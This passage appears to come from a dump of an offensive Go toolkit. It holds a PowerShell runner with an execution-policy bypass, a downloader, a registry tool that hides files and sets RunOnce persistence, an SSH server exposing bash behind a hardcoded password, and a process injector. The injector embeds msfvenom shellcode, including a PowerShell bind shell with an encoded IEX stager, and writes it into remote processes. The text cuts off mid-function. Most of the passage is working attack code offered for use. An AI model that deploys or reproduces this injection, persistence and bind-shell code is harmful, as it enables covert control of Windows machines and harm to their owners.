34 | // Run Target scripts 35 | //Run our embeded powershell scripts here 36 | //func Select_Embedded_Script() { 37 | // RunPowerShellScript("scripts/target_script.ps1") 38 | //} 39 | 40 | // RunPowerShell Gives a full powershell env 41 | func RunPowerShell(cmd string) { 42 | back := &backend.Local{} 43 | shell, err := ps.New(back) 44 | if err != nil { 45 | fmt.Println(err) 46 | } 47 | defer shell.Exit() 48 | stdout, _, err := shell.Execute(cmd) 49 | if err != nil { 50 | fmt.Println(err) 51 | } 52 | fmt.Println(stdout) 53 | } 54 | 55 | // RunPowerShellScript Function to run stored / encoded powershell scripts 56 | //func RunPowerShellScript(scriptName string) { 57 | // data, err := Asset(scriptName) 58 | // if err != nil { 59 | // fmt.Println(err) 60 | // } 61 | // b64ScriptString, err := newEncodedPSScript(string(data)) 62 | // if err != nil { 63 | // fmt.Println(err) 64 | // } else { 65 | // psCommand := fmt.Sprintf("powershell -Sta -NonInteractive -ExecutionPolicy bypass -EncodedCommand %s", b64ScriptString) 66 | // RunPowerShell(psCommand) 67 | // } 68 | //} 69 | // 70 | //// newEncodedPSScript helper function for encoding powershell scripts to run 71 | //func newEncodedPSScript(script string) (string, error) { 72 | // uni := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM) 73 | // encoded, err := uni.NewEncoder().String(script) 74 | // if err != nil { 75 | // return "", err 76 | // } 77 | // return base64.StdEncoding.EncodeToString([]byte(encoded)), nil 78 | //} 79 | -------------------------------------------------------------------------------- /web_requester.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "net/http" 5 | "io/ioutil" 6 | "fmt" 7 | "os" 8 | "errors" 9 | ) 10 | 11 | func helpMenu(){ 12 | fmt.Println("Download Usage: ./web_requester -d [url to download] [file path to save to]") 13 | fmt.Println("Get Page Usage: ./web_requester -g [url]") 14 | fmt.Println("For help: ./web_requester -h") 15 | } 16 | 17 | func main() { 18 | // First get our user Args 19 | if len(os.Args) > 1 { 20 | argFlag := os.Args[1] 21 | // Our Help Option 22 | if argFlag == "-h"{ 23 | helpMenu() 24 | // Our Download Option 25 | } else if os.Args[1] == "-d"{ 26 | argUrl := os.Args[2] 27 | argPath := os.Args[3] 28 | //fmt.Println(argUrl) 29 | //fmt.Println(argPath) 30 | err := DownloadFile(argUrl, argPath) 31 | if err != nil { 32 | fmt.Println(err) 33 | } else { 34 | fmt.Println("Succesfully downloaded file to: ", argPath) 35 | } 36 | // Our Page Fetch Option 37 | } else if os.Args[1] == "-g" { 38 | argUrl := os.Args[2] 39 | response := requestServer(argUrl) 40 | fmt.Println(response) 41 | } 42 | } else { 43 | helpMenu() 44 | } 45 | } 46 | 47 | func requestServer(url string) string { 48 | resp, err := http.Get(url) 49 | if err != nil { 50 | fmt.Println(err) 51 | return fmt.Sprintf("Error getting the url") 52 | } 53 | defer resp.Body.Close() 54 | body, err := ioutil.ReadAll(resp.Body) 55 | if err != nil { 56 | fmt.Println(err) 57 | return fmt.Sprintf("Error getting the page") 58 | } 59 | fmt.Printf("\nPage Content: \n`%s`", string(body)) 60 | return "Success!" 61 | } 62 | 63 | func DownloadFile(url string, localPath string) error { 64 | resp, err := http.Get(url) 65 | if err != nil { 66 | return err 67 | } 68 | pageData, err := ioutil.ReadAll(resp.Body) 69 | resp.Body.Close() 70 | err = CreateFile(pageData, localPath) 71 | if err != nil { 72 | fmt.Println("Error creating your file") 73 | return err 74 | } 75 | return nil 76 | } 77 | 78 | func CreateFile(bytes []byte, path string) error { 79 | // Check if the file already exists 80 | if Exists(path) { 81 | return errors.New("The file to create already exists so we won't overwite it") 82 | } 83 | // write the lines to the file 84 | err := ioutil.WriteFile(path, bytes, 0700) 85 | if err != nil { 86 | return err 87 | } 88 | return nil 89 | } 90 | 91 | func Exists(path string) bool { 92 | // Run stat on a file 93 | _, err := os.Stat(path) 94 | // If it runs fine the file exists 95 | if err == nil { 96 | return true 97 | } 98 | // If stat fails then the file does not exist 99 | return false 100 | } 101 | -------------------------------------------------------------------------------- /xor.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "io/ioutil" 5 | "os" 6 | "fmt" 7 | "errors" 8 | ) 9 | 10 | func main() { 11 | var a, b, z []byte 12 | argFlag := os.Args[1] 13 | // if the first flag is for help 14 | if argFlag == "-h"{ 15 | fmt.Println("XOR Usage: ./xor -f first_file second_file output_file") 16 | fmt.Println("XOR Usage: ./xor -s first_string second_string") 17 | fmt.Println("For help: ./xor -h") 18 | // if the first flag is for file XORs 19 | } else if argFlag == "-f" { 20 | argFile1 := os.Args[2] 21 | argFile2 := os.Args[3] 22 | argOutput := os.Args[4] 23 | err := XorFiles(argFile1, argFile2, argOutput) 24 | if err != nil { 25 | fmt.Println(err) 26 | } else { 27 | fmt.Println("File Xor Complete!") 28 | } 29 | // if the first flag is for string XORs 30 | } else if argFlag == "-s" { 31 | argString1 := os.Args[2] 32 | argString2 := os.Args[3] 33 | //fmt.Println(argString1, argString2) 34 | a = []byte(argString1) 35 | b = []byte(argString2) 36 | //fmt.Println(a[:], b[:]) 37 | z = XorBytes(a[:], b[:]) 38 | outString := string(z[:]) 39 | fmt.Println(z[:]) 40 | fmt.Println(outString) 41 | } 42 | } 43 | 44 | func XorFiles(file1 string, file2 string, outPut string) error { 45 | dat1, err := ioutil.ReadFile(file1) 46 | if err != nil{ 47 | return err 48 | } 49 | dat2, err := ioutil.ReadFile(file2) 50 | if err != nil{ 51 | return err 52 | } 53 | dat3 := XorBytes(dat1[:], dat2[:]) 54 | err = CreateFile(dat3[:], outPut) 55 | if err != nil{ 56 | return err 57 | } else { 58 | fmt.Println("Succesfully XORd the files, saved output file to: ", outPut) 59 | } 60 | return nil 61 | } 62 | 63 | func XorBytes(a []byte, b []byte) []byte { 64 | n := len(a) 65 | if len(b) < n { 66 | n = len(b) 67 | } 68 | var byte_dst [20]byte 69 | //fmt.Println(a[:]) 70 | //fmt.Println(b[:]) 71 | //fmt.Println(len(a)) 72 | //fmt.Println(len(b)) 73 | for i := 0; i < n; i++ { 74 | //fmt.Println(i) 75 | byte_dst[i] = a[i] ^ b[i] 76 | } 77 | return byte_dst[:] 78 | } 79 | 80 | func CreateFile(bytes []byte, path string) error { 81 | // Check if the file already exists 82 | if Exists(path) { 83 | return errors.New("The file to create already exists so we won't overwite it") 84 | } 85 | // write the lines to the file 86 | err := ioutil.WriteFile(path, bytes, 0700) 87 | if err != nil { 88 | return err 89 | } 90 | return nil 91 | } 92 | 93 | func Exists(path string) bool { 94 | // Run stat on a file 95 | _, err := os.Stat(path) 96 | // If it runs fine the file exists 97 | if err == nil { 98 | return true 99 | } 100 | // If stat fails then the file does not exist 101 | return false 102 | } 103 | -------------------------------------------------------------------------------- /file_manipulation.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "io/ioutil" 6 | "net/http" 7 | "fmt" 8 | "errors" 9 | ) 10 | 11 | func main(){ 12 | 13 | // First get our user Args 14 | argFlag := os.Args[1] 15 | if argFlag == "-h"{ 16 | fmt.Println("Download Usage: ./file_manipulation -d [url to download] [file path to save to]") 17 | fmt.Println("Copy Usage: ./file_manipulation -c [source file to copy] [file path to save to]") 18 | fmt.Println("For help: ./file_manipulation -h") 19 | } else if os.Args[1] == "-d"{ 20 | argUrl := os.Args[2] 21 | argPath := os.Args[3] 22 | err := DownloadFile(argUrl, argPath) 23 | if err != nil { 24 | fmt.Println(err) 25 | } else { 26 | fmt.Println("Succesfully downloaded file to: ", argPath) 27 | } 28 | } else if os.Args[1] == "-c" { 29 | argSource := os.Args[2] 30 | argDest := os.Args[3] 31 | err := CopyFile(argSource, argDest) 32 | if err != nil { 33 | fmt.Println(err) 34 | } else { 35 | fmt.Println("Succesfully copied file from ", argSource, " to ", argDest) 36 | } 37 | } 38 | } 39 | 40 | func Exists(path string) bool { 41 | // Run stat on a file 42 | _, err := os.Stat(path) 43 | // If it runs fine the file exists 44 | if err == nil { 45 | return true 46 | } 47 | // If stat fails then the file does not exist 48 | return false 49 | } 50 | 51 | func CreateFile(bytes []byte, path string) error { 52 | // Check if the file already exists 53 | if Exists(path) { 54 | return errors.New("The file to create already exists so we won't overwite it") 55 | } 56 | // write the lines to the file 57 | err := ioutil.WriteFile(path, bytes, 0700) 58 | if err != nil { 59 | return err 60 | } 61 | return nil 62 | } 63 | 64 | func DownloadFile(url string, localPath string) error { 65 | resp, err := http.Get(url) 66 | if err != nil { 67 | return err 68 | } 69 | pageData, err := ioutil.ReadAll(resp.Body) 70 | resp.Body.Close() 71 | err = CreateFile(pageData, localPath) 72 | if err != nil { 73 | fmt.Println("Error creating your file") 74 | return err 75 | } 76 | return nil 77 | } 78 | 79 | func CopyFile(srcFile string, dstFile string) error { 80 | //Check if the file we are copying exists 81 | if Exists(srcFile) { 82 | // Read our file in as a byte array 83 | dat, err := ioutil.ReadFile(srcFile) 84 | if err != nil { 85 | return err 86 | } 87 | // Debug print the file contents 88 | //fmt.Print(string(dat)) 89 | err = CreateFile(dat, dstFile) 90 | if err != nil { 91 | return err 92 | } 93 | // if no errors then we've created our file and can return no errors 94 | return nil 95 | } else { 96 | return errors.New("The srcFile does not exists") 97 | } 98 | 99 | } 100 | -------------------------------------------------------------------------------- /win_reg.go: -------------------------------------------------------------------------------- 1 | // GOOS=windows GOARCH=amd64 go build win_registry.go 2 | package main 3 | 4 | import ( 5 | "fmt" 6 | reg "golang.org/x/sys/windows/registry" 7 | "os" 8 | ) 9 | 10 | func helpMenu(){ 11 | fmt.Println("Template code for messing w/ the Windows Registry") 12 | fmt.Println("Hidden Files in Explorer: win_reg.exe -hide") 13 | fmt.Println("Unhide Files in Explorer: win_reg.exe -unhide") 14 | fmt.Println("Set UserRunOnce Usage: win_reg.exe -set my_key C:\file_path") 15 | fmt.Println("Unset UserRunOnce Usage: ./win_reg.exe -unset my_key") 16 | fmt.Println("For help: ./win_reg.exe -h") 17 | } 18 | 19 | func main() { 20 | // First get our user Args 21 | if len(os.Args) > 1 { 22 | argFlag := os.Args[1] 23 | // Our Help Option 24 | if argFlag == "-h"{ 25 | helpMenu() 26 | // Our Hide hidden files in Explorer option 27 | } else if os.Args[1] == "-hide"{ 28 | ForceHiddenFiles() 29 | fmt.Println("Forced Hidden Files!") 30 | // Our Unhide hidden files in Explorer option 31 | } else if os.Args[1] == "-unhide" { 32 | ForceNoHiddenFiles() 33 | fmt.Println("Forced No Hidden Files in Explorer!") 34 | // Our persit to User RunOnce custom key option 35 | } else if os.Args[1] == "-set" { 36 | argKey := os.Args[2] 37 | argPath := os.Args[3] 38 | PersistUserRunOnce(argKey, argPath) 39 | fmt.Println("Set binary to persist to UserRunOnce: ", argPath) 40 | // Our unpersist a key option 41 | } else if os.Args[1] == "-unset" { 42 | argKey := os.Args[2] 43 | FixUserRunOnce(argKey) 44 | fmt.Println("Unset the persistance at: ", argKey) 45 | } else { 46 | helpMenu() 47 | } 48 | } else { 49 | helpMenu() 50 | } 51 | } 52 | 53 | // CreateKeyAndValue creates a new regestry key in a dynamic hive, dynamic path, dynamic object, and infers the type as either string or uint32 and creats the correct key type accordingly 54 | func CreateKeyAndValue(hive reg.Key, keyPath string, keyObject string, keyValue interface{}) { 55 | // Create our key or see if it exists 56 | k, _, err := reg.CreateKey(hive, keyPath, reg.ALL_ACCESS) 57 | if err != nil { 58 | fmt.Println(err) 59 | return 60 | } 61 | // regardless if its new or created it we set it to our value 62 | defer k.Close() 63 | // switch on keyValue type to create different key type values 64 | switch v := keyValue.(type) { 65 | case string: 66 | keyValueSZ := keyValue.(string) 67 | k.SetStringValue(keyObject, keyValueSZ) 68 | case uint32: 69 | keyValueUI32 := keyValue.(uint32) 70 | k.SetDWordValue(keyObject, keyValueUI32) 71 | default: 72 | vstring := fmt.Sprintf("Info: %v", v) 73 | fmt.Println(vstring) 74 | } 75 | } 76 | 77 | // DeleteKeysValue deletes a dynamic keyobject in a dynamic hive and path 78 | func DeleteKeysValue(hive reg.Key, keypath string, keyobject string) { 79 | k, err := reg.OpenKey(hive, keypath, reg.ALL_ACCESS) 80 | if err != nil { 81 | fmt.Println(err) 82 | return 83 | } 84 | defer k.Close() 85 | k.DeleteValue(keyobject) 86 | } 87 | 88 | func ForceHiddenFiles() { 89 | var value uint32 = 0 90 | var value1 uint32 = 1 91 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN`, "CheckedValue", value) 92 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN`, "DefaultValue", value) 93 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL`, "CheckedValue", value) 94 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL`, "DefaultValue", value) 95 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SuperHidden`, "CheckedValue", value) 96 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SuperHidden`, "DefaultValue", value) 97 | CreateKeyAndValue(reg.LOCAL_MACHINE, `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`, "NoFolderOptions", value1) 98 | } 99 | func ForceNoHiddenFiles() { 100 | var value uint32 = 0 101 | var value1 uint32 = 1 102 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN`, "CheckedValue", value1) 103 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN`, "DefaultValue", value1) 104 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL`, "CheckedValue", value1) 105 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL`, "DefaultValue", value1) 106 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SuperHidden`, "CheckedValue", value1) 107 | CreateKeyAndValue(reg.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SuperHidden`, "DefaultValue", value1) 108 | CreateKeyAndValue(reg.LOCAL_MACHINE, `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`, "NoFolderOptions", value) 109 | } 110 | 111 | // Persist to User RunOnceKey 112 | func PersistUserRunOnce(myKey string, myExe string) { 113 | CreateKeyAndValue(reg.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\RunOnce`, myKey, myExe) 114 | } 115 | func FixUserRunOnce(myKey string) { 116 | DeleteKeysValue(reg.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\RunOnce`, myKey) 117 | } 118 | -------------------------------------------------------------------------------- /ssh_server.go: -------------------------------------------------------------------------------- 1 | // A small SSH daemon providing bash sessions 2 | // stolen from: https://gist.github.com/jpillora/b480fde82bff51a06238 3 | // 4 | // Server: 5 | // cd my/new/dir/ 6 | // #generate server keypair 7 | // ssh-keygen -t rsa 8 | // go get -v . 9 | // go run sshd.go 10 | // 11 | // Client: 12 | // ssh foo@localhost -p 2200 #pass=bar 13 | 14 | package main 15 | 16 | import ( 17 | "encoding/binary" 18 | "fmt" 19 | "io" 20 | "io/ioutil" 21 | "log" 22 | "net" 23 | "os/exec" 24 | "sync" 25 | "syscall" 26 | "unsafe" 27 | 28 | "github.com/kr/pty" 29 | "golang.org/x/crypto/ssh" 30 | ) 31 | 32 | func main() { 33 | 34 | // In the latest version of crypto/ssh (after Go 1.3), the SSH server type has been removed 35 | // in favour of an SSH connection type. A ssh.ServerConn is created by passing an existing 36 | // net.Conn and a ssh.ServerConfig to ssh.NewServerConn, in effect, upgrading the net.Conn 37 | // into an ssh.ServerConn 38 | 39 | config := &ssh.ServerConfig{ 40 | //Define a function to run when a client attempts a password login 41 | PasswordCallback: func(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) { 42 | // Should use constant-time compare (or better, salt+hash) in a production setting. 43 | if c.User() == "foo" && string(pass) == "bar" { 44 | return nil, nil 45 | } 46 | return nil, fmt.Errorf("password rejected for %q", c.User()) 47 | }, 48 | // You may also explicitly allow anonymous client authentication, though anon bash 49 | // sessions may not be a wise idea 50 | // NoClientAuth: true, 51 | } 52 | 53 | // You can generate a keypair with 'ssh-keygen -t rsa' 54 | privateBytes, err := ioutil.ReadFile("id_rsa") 55 | if err != nil { 56 | log.Fatal("Failed to load private key (./id_rsa)") 57 | } 58 | 59 | private, err := ssh.ParsePrivateKey(privateBytes) 60 | if err != nil { 61 | log.Fatal("Failed to parse private key") 62 | } 63 | 64 | config.AddHostKey(private) 65 | 66 | // Once a ServerConfig has been configured, connections can be accepted. 67 | listener, err := net.Listen("tcp", "0.0.0.0:2200") 68 | if err != nil { 69 | log.Fatalf("Failed to listen on 2200 (%s)", err) 70 | } 71 | 72 | // Accept all connections 73 | log.Print("Listening on 2200...") 74 | for { 75 | tcpConn, err := listener.Accept() 76 | if err != nil { 77 | log.Printf("Failed to accept incoming connection (%s)", err) 78 | continue 79 | } 80 | // Before use, a handshake must be performed on the incoming net.Conn. 81 | sshConn, chans, reqs, err := ssh.NewServerConn(tcpConn, config) 82 | if err != nil { 83 | log.Printf("Failed to handshake (%s)", err) 84 | continue 85 | } 86 | 87 | log.Printf("New SSH connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion()) 88 | // Discard all global out-of-band Requests 89 | go ssh.DiscardRequests(reqs) 90 | // Accept all channels 91 | go handleChannels(chans) 92 | } 93 | } 94 | 95 | func handleChannels(chans <-chan ssh.NewChannel) { 96 | // Service the incoming Channel channel in go routine 97 | for newChannel := range chans { 98 | go handleChannel(newChannel) 99 | } 100 | } 101 | 102 | func handleChannel(newChannel ssh.NewChannel) { 103 | // Since we're handling a shell, we expect a 104 | // channel type of "session". The also describes 105 | // "x11", "direct-tcpip" and "forwarded-tcpip" 106 | // channel types. 107 | if t := newChannel.ChannelType(); t != "session" { 108 | newChannel.Reject(ssh.UnknownChannelType, fmt.Sprintf("unknown channel type: %s", t)) 109 | return 110 | } 111 | 112 | // At this point, we have the opportunity to reject the client's 113 | // request for another logical connection 114 | connection, requests, err := newChannel.Accept() 115 | if err != nil { 116 | log.Printf("Could not accept channel (%s)", err) 117 | return 118 | } 119 | 120 | // Fire up bash for this session 121 | bash := exec.Command("bash") 122 | 123 | // Prepare teardown function 124 | close := func() { 125 | connection.Close() 126 | _, err := bash.Process.Wait() 127 | if err != nil { 128 | log.Printf("Failed to exit bash (%s)", err) 129 | } 130 | log.Printf("Session closed") 131 | } 132 | 133 | // Allocate a terminal for this channel 134 | log.Print("Creating pty...") 135 | bashf, err := pty.Start(bash) 136 | if err != nil { 137 | log.Printf("Could not start pty (%s)", err) 138 | close() 139 | return 140 | } 141 | 142 | //pipe session to bash and visa-versa 143 | var once sync.Once 144 | go func() { 145 | io.Copy(connection, bashf) 146 | once.Do(close) 147 | }() 148 | go func() { 149 | io.Copy(bashf, connection) 150 | once.Do(close) 151 | }() 152 | 153 | // Sessions have out-of-band requests such as "shell", "pty-req" and "env" 154 | go func() { 155 | for req := range requests { 156 | switch req.Type { 157 | case "shell": 158 | // We only accept the default shell 159 | // (i.e. no command in the Payload) 160 | if len(req.Payload) == 0 { 161 | req.Reply(true, nil) 162 | } 163 | case "pty-req": 164 | termLen := req.Payload[3] 165 | w, h := parseDims(req.Payload[termLen+4:]) 166 | SetWinsize(bashf.Fd(), w, h) 167 | // Responding true (OK) here will let the client 168 | // know we have a pty ready for input 169 | req.Reply(true, nil) 170 | case "window-change": 171 | w, h := parseDims(req.Payload) 172 | SetWinsize(bashf.Fd(), w, h) 173 | } 174 | } 175 | }() 176 | } 177 | 178 | // ======================= 179 | 180 | // parseDims extracts terminal dimensions (width x height) from the provided buffer. 181 | func parseDims(b []byte) (uint32, uint32) { 182 | w := binary.BigEndian.Uint32(b) 183 | h := binary.BigEndian.Uint32(b[4:]) 184 | return w, h 185 | } 186 | 187 | // ====================== 188 | 189 | // Winsize stores the Height and Width of a terminal. 190 | type Winsize struct { 191 | Height uint16 192 | Width uint16 193 | x uint16 // unused 194 | y uint16 // unused 195 | } 196 | 197 | // SetWinsize sets the size of the given pty. 198 | func SetWinsize(fd uintptr, w, h uint32) { 199 | ws := &Winsize{Width: uint16(w), Height: uint16(h)} 200 | syscall.Syscall(syscall.SYS_IOCTL, fd, uintptr(syscall.TIOCSWINSZ), uintptr(unsafe.Pointer(ws))) 201 | } 202 | 203 | // Borrowed from https://github.com/creack/termios/blob/master/win/win.go 204 | -------------------------------------------------------------------------------- /win_process_injection.go: -------------------------------------------------------------------------------- 1 | // GOOS=windows GOARCH=amd64 go build win_process_inject.go 2 | // Use extreme caution, often crashes target processes 3 | package main 4 | 5 | import ( 6 | "encoding/hex" 7 | "os" 8 | "syscall" 9 | "unsafe" 10 | "fmt" 11 | "time" 12 | "strconv" 13 | ) 14 | 15 | // example Cmd running calc 16 | // msfvenom --format hex -p windows/x64/exec CMD="cmd /c calc.exe" 17 | const ( 18 | bind_shell64 = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5636d64202f632063616c632e65786500" 19 | ) 20 | 21 | // PowerShell BindShell on port 4444 22 | // msfvenom --format python -p windows/x64/powershell_bind_tcp 23 | const ( 24 | bind_shell64_ps = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5706f7765727368656c6c2e657865202d6578656320627970617373202d6e6f70202d572068696464656e202d6e6f6e696e7465726163746976652049455820242824733d4e65772d4f626a65637420494f2e4d656d6f727953747265616d282c5b436f6e766572745d3a3a46726f6d426173653634537472696e67282748347349414d626636566b4341353157323237624f4242393931634d58473074495462684274755841436b3256644c6441476c72564e374e673245677444534f745a464a4c306e356773542f766b4f4a756a684f304d3371785259355048506d7a49563642794f355154585042517a67567158476f49445a446a37547a7a6858416857386830752b5276694471325458365a426c62464970344863306731756378566d4b776b446e73515030654a73597a754562626762665a33396a6247417733713377473138694c527047396d466858786d7a507a566534707a6e6d516b564a725354386b7754684764556a725856534d6e746a6a327a6f505857536d5862325463555631566f6e55636f396b6463386156662f703945527158696675714663726e6b49756b66726b593669365634746e67704e794b5450436c57413465705a49786167784e674b5a4d38513076774e7a2b413069536467312b356751482b4139315a4b704a75554779573534717a5761704a66704c386e467a7536502b535764556947542b67305777637232366378665258656f34504d6d32344d74617638317a7375685364742b7775346868586867444c6450676c6c6631726442577555576b385a6c784474314c2b45764e77354278317533314c33666e726c4a70706f3541764c6345536a314674526355614557736f6c536b7047646e79364c6f4d7450686f6e555556324375554d4d36707a486373716b783935372f767a616d4f734f382f656d4e4333384f41613567636e506d4253326b77524758536552707a67332f784c4532344c6261515a396d4d78772f5449486942447276497a634a57716a31306f577378676c6161476857614b4e6f795457593767355070314c4f2f747343476a4a304f36586e363558473464307169534b707466324a776178694b5743613265732f4f4c714c772b6a7177366e36324e6e37336c737051626e5135413649465a686d6f58416979426f6f393131534b58546742443858367a4c344a3238676e74455a707144646975567a6c70746d384536466337565236767a446768774763446a3938684b3970724b535763774f68564375704373305958466950316c4b44516e4b77786f5464695476684b7331707775786751722b4a726a2f734e792f73427357395762517270657254647130636c637262704a7163544f4747494b30327273645a7a665074584b745458365336347647434f4a65676b497036686a5257445733372b41656a4e324256744f575571704343703275786c673834754e71755346744e6574636f2b38503265354d53765645455063707a77654a47786b556d417a62695a6b477276552b392f3532367a534c4e30506539744f69423876675035496c66566e7766686e3377447334464d42414977365063586c6e366d4977706c4e6575497a635372416b72517278794954636f314e6a63556d6d6875636c557946794641313461504373726d674e5779364d45774b41617179583436616633482b414a7675646d554b4b436b2b49413668514b5153706745766b6e4b59426541374b31524478555371724a63487267724d573632476478686c7a357755734d7a74737631506a627a6e456e2f6166796157422b326a7274556a6c716e4f724d6c797a58692f716d6457505158534e684a6a5736654a71374c7a4a7956563134394c58517162385336755459322f6c663659556743786b4a4141413d2729293b49455820284e65772d4f626a65637420494f2e53747265616d526561646572284e65772d4f626a65637420494f2e436f6d7072657373696f6e2e477a697053747265616d2824732c5b494f2e436f6d7072657373696f6e2e436f6d7072657373696f6e4d6f64655d3a3a4465636f6d70726573732929292e52656164546f456e6428293b2900" 25 | ) 26 | 27 | func main() { 28 | 29 | //FirstPIDInject(bind_shell64) 30 | //fmt.Println("Injected into first pid!") 31 | //time.Sleep(1000*time.Duration(10)*time.Millisecond) 32 | //HigherPIDInject(bind_shell64_ps) 33 | //fmt.Println("Injected into high pid") 34 | //time.Sleep(1000*time.Duration(10)*time.Millisecond) 35 | argPid := os.Args[1] 36 | var argi1 int 37 | argi1, err := strconv.Atoi(argPid) 38 | if err != nil { 39 | panic(err) 40 | } 41 | SpecificPIDInject(bind_shell64, argi1) 42 | fmt.Printf("Injected into %d pid\n", argi1) 43 | time.Sleep(1000*time.Duration(20)*time.Millisecond) 44 | 45 | } 46 | 47 | const ( 48 | winMemCommit = 0x1000 49 | winMemReserve = 0x2000 50 | winAllocMemAsRW = 0x40 51 | winProcCreateThread = 0x0002 52 | winProcQueryInfo = 0x0400 53 | winProcMemOp = 0x0008 54 | winProcMemWrite = 0x0020 55 | winProcMemRead = 0x0010 56 | zeroValue = 0 57 | ) 58 | 59 | var ( 60 | k32 = syscall.NewLazyDLL("kernel32.dll") 61 | virtualAlloc = k32.NewProc("VirtualAlloc") 62 | winOpenProc = k32.NewProc("OpenProcess") 63 | winWriteProcMem = k32.NewProc("WriteProcessMemory") 64 | winMemAllocEx = k32.NewProc("VirtualAllocEx") 65 | winCreateRemoteThread = k32.NewProc("CreateRemoteThread") 66 | ) 67 | 68 | func allocate(shellcode uintptr) uintptr { 69 | addr, _, _ := virtualAlloc.Call(0, shellcode, winMemReserve|winMemCommit, winAllocMemAsRW) 70 | if addr == 0 { 71 | os.Exit(0) 72 | } 73 | return addr 74 | } 75 | 76 | func FirstPIDInject(code string) { 77 | shellcode, err := hex.DecodeString(code) 78 | if err != nil { 79 | return 80 | } 81 | 82 | shellcodeAddr := allocate(uintptr(len(shellcode))) 83 | AddrPtr := (*[990000]byte)(unsafe.Pointer(shellcodeAddr)) 84 | for shellcodeIdx, shellcodeByte := range shellcode { 85 | AddrPtr[shellcodeIdx] = shellcodeByte 86 | } 87 | 88 | for i := 100; i < 99999; i++ { 89 | remoteProcess, _, _ := winOpenProc.Call(winProcCreateThread|winProcQueryInfo|winProcMemOp|winProcMemWrite|winProcMemRead, uintptr(zeroValue), uintptr(i)) 90 | remoteProcessMem, _, _ := winMemAllocEx.Call(remoteProcess, uintptr(zeroValue), uintptr(len(shellcode)), winMemReserve|winMemCommit, winAllocMemAsRW) 91 | winWriteProcMem.Call(remoteProcess, remoteProcessMem, shellcodeAddr, uintptr(len(shellcode)), uintptr(zeroValue)) 92 | status, _, _ := winCreateRemoteThread.Call(remoteProcess, uintptr(zeroValue), 0, remoteProcessMem, uintptr(zeroValue), 0, uintptr(zeroValue)) 93 | if status != 0 { 94 | break 95 | } 96 | } 97 | } 98 | 99 | func HigherPIDInject(code string) { 100 | shellcode, err := hex.DecodeString(code) 101 | if err != nil { 102 | return 103 | } 104 | 105 | shellcodeAddr := allocate(uintptr(len(shellcode))) 106 | AddrPtr := (*[990000]byte)(unsafe.Pointer(shellcodeAddr)) 107 | for shellcodeIdx, shellcodeByte := range shellcode { 108 | AddrPtr[shellcodeIdx] = shellcodeByte 109 | } 110 | 111 | for i := 4000; i < 99999; i++ { 112 | remoteProcess, _, _ := winOpenProc.Call(winProcCreateThread|winProcQueryInfo|winProcMemOp|winProcMemWrite|winProcMemRead, uintptr(zeroValue), uintptr(i)) 113 | remoteProcessMem, _, _ := winMemAllocEx.Call(remoteProcess, uintptr(zeroValue), uintptr(len(shellcode)), winMemReserve|winMemCommit, winAllocMemAsRW) 114 | winWriteProcMem.Call(remoteProcess, remoteProcessMem, shellcodeAddr, uintptr(len(shellcode)), uintptr(zeroValue)) 115 | status, _, _ := winCreateRemoteThread.Call(remoteProcess, uintptr(zeroValue), 0, remoteProcessMem, 